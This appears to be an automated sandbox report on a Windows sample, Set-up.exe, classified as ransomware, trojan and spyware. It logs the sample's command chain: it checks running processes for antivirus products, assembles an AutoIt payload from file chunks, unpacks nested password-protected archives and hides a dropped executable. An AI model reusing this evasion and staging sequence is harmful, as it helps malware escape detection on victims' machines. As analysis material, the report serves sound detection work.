Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 33_2_00E45424	33_2_00E45424
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 33_2_00E527AA	33_2_00E527AA

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe 35401B151F704F6BBBF4F8B36D886E4DC391809822181B396C02D243C0ACA7F0

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Process token adjusted: Security

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: String function: 00E42330 appears 34 times
Source: C:\Users\user\Desktop\Set-up.exe	Code function: String function: 004062A3 appears 58 times
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Code function: String function: 004029A6 appears 44 times

Source: Set-up.exe, 00000000.00000003.2163100883.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameAutoIt3.exeB vs Set-up.exe

Source: Set-up.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@58/45@5/2

Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe

Code function: 16_2_00409606 wvsprintfW,GetLastError,FormatMessageW,FormatMessageW,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,??2@YAPAXI@Z,lstrcpyW,lstrcpyW,lstrcpyW,??3@YAXPAX@Z,LocalFree,

16_2_00409606

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_0011AC74 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,		20_2_0011AC74
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_00121D04 GetCurrentProcess,CloseHandle,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,GetLastError,CloseHandle,		20_2_00121D04

Source: C:\Users\user\Desktop\Set-up.exe

0_2_004044A5

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe

Code function: 16_2_004020BF GetModuleHandleW,FindResourceExA,FindResourceExA,FindResourceExA,SizeofResource,LoadResource,LockResource,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,wsprintfW,LoadLibraryA,GetProcAddress,

16_2_004020BF

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6996:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5164:120:WilError_03

Source: C:\Users\user\Desktop\Set-up.exe

File created: C:\Users\user\AppData\Local\Temp\nsqA23E.tmp

Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Crest Crest.bat & Crest.bat

Source: Set-up.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\Set-up.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe

File read: C:\Users\user\Desktop\Set-up.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Set-up.exe "C:\Users\user\Desktop\Set-up.exe"
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Crest Crest.bat & Crest.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 506033
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "RubberBrilliantPoliceOperator" Count
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Lil + ..\Labeled + ..\Warren + ..\Current + ..\Endless + ..\Towers + ..\Based W
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif Limitations.pif W
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Process created: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe "C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe"
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p29586644319935208542739921766 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_11.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_10.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_9.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_8.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "Installer.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\Installer.exe "Installer.exe"
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Crest Crest.bat & Crest.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 506033	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "RubberBrilliantPoliceOperator" Count	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Lil + ..\Labeled + ..\Warren + ..\Current + ..\Endless + ..\Towers + ..\Based W	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif Limitations.pif W	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Process created: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe "C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p29586644319935208542739921766 -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_11.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_10.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_9.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_8.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "Installer.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\Installer.exe "Installer.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: ureg.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
